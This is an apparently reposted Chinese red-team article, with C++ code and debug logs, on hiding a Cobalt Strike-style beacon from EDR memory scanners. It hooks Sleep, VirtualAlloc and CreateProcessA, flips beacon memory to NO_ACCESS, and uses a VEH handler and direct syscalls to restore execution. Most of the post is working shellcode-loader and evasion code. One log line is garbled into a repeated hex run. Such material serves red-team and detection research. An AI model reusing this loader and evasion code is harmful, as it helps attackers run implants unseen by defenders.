文章总结: 本文详解利用VEH异常处理与APIHook对抗EDR的技术。通过HookSleep和CreateProcessA,在休眠或执行命令时将beacon内存置为NO_ACCESS以隐藏恶意代码,利用VEH在访问时动态恢复执行权限,配合Syscall实现全程内存混淆,有效规避杀软内存扫描。 综合评分: 87 文章分类: 红队,免杀,二进制安全,内网渗透,渗透测试
EDR对抗:VEH内存混淆 + Hook sleep技术细节
原创
W W
0xSecurity
2026年1月30日 10:00 广东
HOOK+VEH程序流程细节
1上线阶段——shellcode loader加载beacon
2 beacon写入阶段——再次写入新内存
3 sleep阶段——hook sleep 加密所有内存
4 shell命令执行阶段——hook CreateprocessA 加密beacon内存
VEH异常处理机制
一种报错处理机制,每次报错以后都会去调用VEH异常处理函数,执行完处理函数之后,再重新回到报错的地址再执行一遍
HOOK+VEH
程序大概流程:
HOOK掉beacon的api,在hook函数中加密beacon的内存来规避杀软扫描,然后执行内存触发VEH 报错进入veh报错处理函数中重新解密内存,beacon重新执行
程序流程细节
1上线阶段——shellcode loader加载beacon
首先我们需要加载shellcode来进行上线,避免分配RWX内存,先申请一段可读可写的内存
uSize=fb.size();
syscall_sc[4] =ZwANum;
NtAllocateVirtualMemory= (pNtAllocateVirtualMemory)&syscall_sc;
NTSTATUSstatus=NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
syscall_sc[4] =ZwWNum;
pZwWriteVirtualMemoryZwvirtualWrite= (pZwWriteVirtualMemory)&syscall_sc;
NTSTATUSstatus1=ZwvirtualWrite(GetCurrentProcess(), Address, (PVOID)fb.c_str(), uSize, NULL);
创建线程去执行刚刚那段内存,但是无法执行,这时候就会触发VEH
HANDLEThreadHandle=NULL;
syscall_sc[4] =ZwCNum;
PfnZwCreateThreadExZwCreateT= (PfnZwCreateThreadEx)&syscall_sc;
ZwCreateT(&ThreadHandle, 0x1FFFFFF, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)Address, NULL, FALSE, NULL, NULL, NULL, NULL);
char*baddr= (char*)Address;
for (inti=0; i<uSize; i++) {
baddr[i] =baddr[i] ^10^13;
}
syscall_sc[4] =ZwWaitNum;
NTWAITFORSINGLEOBJECTZwWait= (NTWAITFORSINGLEOBJECT)&syscall_sc;
ZwWait(ThreadHandle, true, 0);
return0;
跟进到VEH处理函数中,这里设置了一个触发标签MAX=0,MAX此时等于-1,进入第一个if,设置刚刚 shellcode申请的内存为可执行,随后跳出VEH,重复上一跳报错的指令,然后重新加载shellcode
LONGWINAPIVectoredExceptionHandler(PEXCEPTION_POINTERSException) {
if (Exception->ExceptionRecord->ExceptionCode==EXCEPTION_ACCESS_VIOLATION) {
int*b= (int*)Address;
LPVOIDnewADDR;
SIZE_TnewSIZE;
intindex=MAX-1;
printf("into VEH\n");
// UnHookssleep64();
// Sleep(10000);
// Hookssleep64();
if (index<0) {
syscall_sc[4] =ZwPNum;
ZwvirtualProtect= (pZwProtectVirtualMemory)&syscall_sc;
NTSTATUSstatus1=ZwvirtualProtect(GetCurrentProcess(), &Address, &uSize, PAGE_EXECUTE_READWRITE, &oldprot);
printf("Address:0x%llx--WRX\n", Address);
}
if (index>=0) {
for (intj=0; j<MAX; j++) {
longlongnumber=atoll(newBASE_ADDRESS[j].c_str());
newADDR= (LPVOID)number;
newSIZE=atoi(newBASE_ADDRESS_SIZE[j].c_str());
printf("SET ADDRESS WRX:0x%llx--%d--index:%d\n", newADDR, newSIZE, j);
NTSTATUSstatus2=ZwvirtualProtect(GetCurrentProcess(), &newADDR, &newSIZE, PAGE_EXECUTE_READWRITE, &oldprot);
}
}
returnEXCEPTION_CONTINUE_EXECUTION;
}
returnEXCEPTION_CONTINUE_SEARCH;
}
可以看到内存变成了rwx
C选择E:\CODE\1234\64\Debug\1234.ex index:24 ZwAllocateVirtualMemory index:80 ZwProtectVirtualMemory index:58 ZwWriteVirtualMemory index:193 ZwCreateThreadEx index:4 ZwWaitForSingleObject into VEH Address:0x1a04c3e0000--WRX
2 beacon写入阶段——再次写入新内存
随后继续跟进发现,beacon后续还会申请另外的内存,并且经过尝试发现上线最初为加载stageless(shellcode)的那段内存后续不会再用到了,这里我们就hook住VirtualAlloc,抓一下它申请的内存地址
LPVOIDWINAPINewVirtualAlloc(LPVOIDlpAddress, SIZE_TdwSize, DWORDflAllocationType, DWORDflProtect) {
printf("into NewVirtualAlloc!!!\n");
UnHookVirtualA();
syscall_sc[4] =ZwANum;
NtAllocateVirtualMemory= (pNtAllocateVirtualMemory)&syscall_sc;
NTSTATUSstatus=NtAllocateVirtualMemory(GetCurrentProcess(), &lpAddress, 0, &dwSize, flAllocationType, flProtect);
newBASE_ADDRESS[MAX] =std::to_string((longlong)lpAddress);
newBASE_ADDRESS_SIZE[MAX] =std::to_string((int)dwSize);
printf("GET NEWADDRESS:0x%llx--%s--index:%d\n", lpAddress, newBASE_ADDRESS_SIZE[MAX].c_str(), MAX);
MAX++;
if (MAX>=2) {
VirtualFree(Address, 0, MEM_RELEASE);
}
/* syscall_sc[4] = ZwPNum;
ZwvirtualProtect = (pZwProtectVirtualMemory)&syscall_sc;
NTSTATUS status1 = ZwvirtualProtect(GetCurrentProcess(), &lpAddress, &dwSize, PAGE_NOACCESS, &oldprot); */
for (intj=0; j<MAX; j++) {
longlongnumber=atoll(newBASE_ADDRESS[j].c_str());
intfanwei=atoi(newBASE_ADDRESS_SIZE[j].c_str());
LPVOIDNUM= (LPVOID)number;
SIZE_TFANWEI= (SIZE_T)fanwei;
printf("SET ADDRESS NOACCESS:0x%llx--%d\n", (LPVOID)number, fanwei);
syscall_sc[4] =ZwPNum;
ZwvirtualProtect= (pZwProtectVirtualMemory)&syscall_sc;
NTSTATUSstatus1=ZwvirtualProtect(GetCurrentProcess(), &NUM, &FANWEI, PAGE_NOACCESS, &oldprot);
}
returnlpAddress;
}
可以看到申请的新的地址,并且已经设置成了无法访问的权限
into NewVirtualA11oc!!!
GET NEWADDRESS:0x1a04c430000--4661248--index:0
SET ADDRESS NOACCESS:0x1a04c430000--4661248
可以看到是无法访问的
beacon执行刚刚申请的那段内存,无法访问后触发veh再次进入veh函数中,重新执行以后,发现再一次申请了一段新的内存,然后重新遍历存地址的数组,分别给新申请的内存设置成no_access权限
总计就是两段新的内存已经申请完毕,然后beacon再次去执行新内存(0x1a04cb60000),再次触发veh重新执行成功,后续就没有再进行内存申请了
3 sleep阶段——hook sleep 加密所有内存
实际每次beacon执行(代码运行)的时间特别短,然后beacon在sleep的时候时间,正常情况这些内存都是可以被看到的,所以我们在sleep的时候就该把所有内存设置成不可访问,或者加密-藏起来,可以看到刚刚beacon占用的内存就是刚申请的两段,shellcode 的那段272kb的内存已经释放掉了。
VOIDWINAPINewSleep(DWORDdwMillisecond) {
char*baddr= (char*)Address;
ULONGoldprot=NULL;
printf("Sleep:%d\n", dwMillisecond);
printf("0x%llx\n", Address);
for (intj=0; j<MAX; j++) {
longlongnumber=atoll(newBASE_ADDRESS[j].c_str());
intfanwei=atoi(newBASE_ADDRESS_SIZE[j].c_str());
LPVOIDNUM= (LPVOID)number;
SIZE_TFANWEI= (SIZE_T)fanwei;
printf("SET ADDRESS NOACCESS:0x%llx--%d\n", (LPVOID)number, fanwei);
syscall_sc[4] =ZwPNum;
ZwvirtualProtect= (pZwProtectVirtualMemory)&syscall_sc;
NTSTATUSstatus1=ZwvirtualProtect(GetCurrentProcess(), &NUM, &FANWEI, PAGE_NOACCESS, &oldprot);
}
UnHookssleep64();
Sleep(dwMillisecond);
Hooksleep64();
}
E:\CODE\1234\64\Debug\1234.exe
index:80 ZwProtectVirtualMemory
index:58 ZwWriteVirtualMemory
index:193 ZwCreateThreadEx
index:4 ZwWaitForSingleObject
into VEH
Address:0x18d3090000--WRX
into NewVirtualAlloc!!!
GET NEWADDRESS:0x18d30950000--4661248--index:0
SET ADDRESS NOACCESS:0x18d30950000--4661248
into VEH
SET ADDRESS WRX:0x18d30950000--4661248--index:0
into NewVirtualAlloc!!!
GET NEWADDRESS:0x18d31050000--8192--index:1
SET ADDRESS NOACCESS:0x18d30950000--4661248
SET ADDRESS NOACCESS:0x18d31050000--8192
into VEH
SET ADDRESS WRX:0x18d30950000--4661248--index:0
SET ADDRESS WRX:0x18d31050000--8192--index:1
Sleep:2722
0x18d30900000
SET ADDRESS NOACCESS:0x18d30950000--4661248
SET ADDRESS NOACCESS:0x18d31050000--8192
into VEH
SET ADDRESS WRX:0x18d30950000--4661248--index:0
SET ADDRESS WRX:0x18d31D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D
4 shell命令执行阶段——hook CreateprocessA 加密beacon内存
实际beacon中每次执行shell命令的时候,实际调用的都是这个CreateprocessA的api来起一个cmd进程,执行我们的命令,这时候杀软都会开始扫描内存,我们就需要对我们的beacon内存做一个加密HOOk住CreateprocessA,创建结构体,接收beacon传进来的参数,新建一个线程去执行cmd
VOID WINAPI HookCreateprocessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation) {
printf("Into HookCreateprocessA\n");
PPROCESS_OPTIONS* Poptions = (PPROCESS_OPTIONS*)malloc(sizeof(PPROCESS_OPTIONS));
Poptions->lpApplicationName = lpApplicationName;
Poptions->lpCommandLine = lpCommandLine;
Poptions->lpProcessAttributes = lpProcessAttributes;
Poptions->lpThreadAttributes = lpThreadAttributes;
Poptions->bInheritHandles = bInheritHandles;
Poptions->dwCreationFlags = dwCreationFlags;
Poptions->lpEnvironment = lpEnvironment;
Poptions->lpCurrentDirectory = lpCurrentDirectory;
Poptions->lpStartupInfo = lpStartupInfo;
Poptions->lpProcessInformation = lpProcessInformation;
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)newThreadMemEncode, Poptions, 0, NULL);
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
}
创建线程执行的这个函数,首先要挂起beacon的线程,防止报错出问题,然后设置那两段内存的权限为no_access,单独去重新执行创建cmd命令的操作,这时候我们的程序调用CreateProcessA肯定是会触发杀软扫描的,我们就sleep等他扫,扫完以后恢复线程返回cmd的结果
void newThreadMemEncode(PPROCESS_OPTIONS* APOptions) {
char* badr = (char*)Address;
SuspendThread(hThread);
printf("SuspendThread!\n");
UnHookCreateP64();
UnHookssleep64();
for (int j = 0; j < MAX; j++) {
long long number = atoll(newBASE_ADDRESS[j].c_str());
int fanwei = atoi(newBASE_ADDRESS_SIZE[j].c_str());
LPVOID NUM = (LPVOID)number;
SIZE_T FANWEI = (SIZE_T)fanwei;
printf("SET ADDRESS NOACCESS:0x%llx--%d\n", (LPVOID)number, fanwei);
syscall_sc[4] = ZwPNum;
ZwvirtualProtect = (pZwProtectVirtualMemory)&syscall_sc;
NTSTATUS status1 = ZwvirtualProtect(GetCurrentProcess(), &NUM, &FANWEI, PAGE_NOACCESS, &oldprot);
}
printf("encode\n");
CreateProcessA(APOptions->lpApplicationName, APOptions->lpCommandLine, APOptions->lpProcessAttributes, APOptions->lpThreadAttributes, APOptions->bInheritHandles, APOptions->dwCreationFlags, APOptions->lpEnvironment, APOptions->lpCurrentDirectory, APOptions->lpStartupInfo, APOptions->lpProcessInformation);
printf("%d\n", GetLastError());
printf("CreateProcessA Success!\n");
Sleep(10000);
printf("decode\n");
HookCreateP64();
Hooksleep64();
ResumeThread(hThread);
printf("ResumeThread!\n");
}
可以看到hook的时候取到beacon输入的参数:whoami
取到结果
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity W W《EDR对抗:VEH内存混淆 + Hook sleep技术细节》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论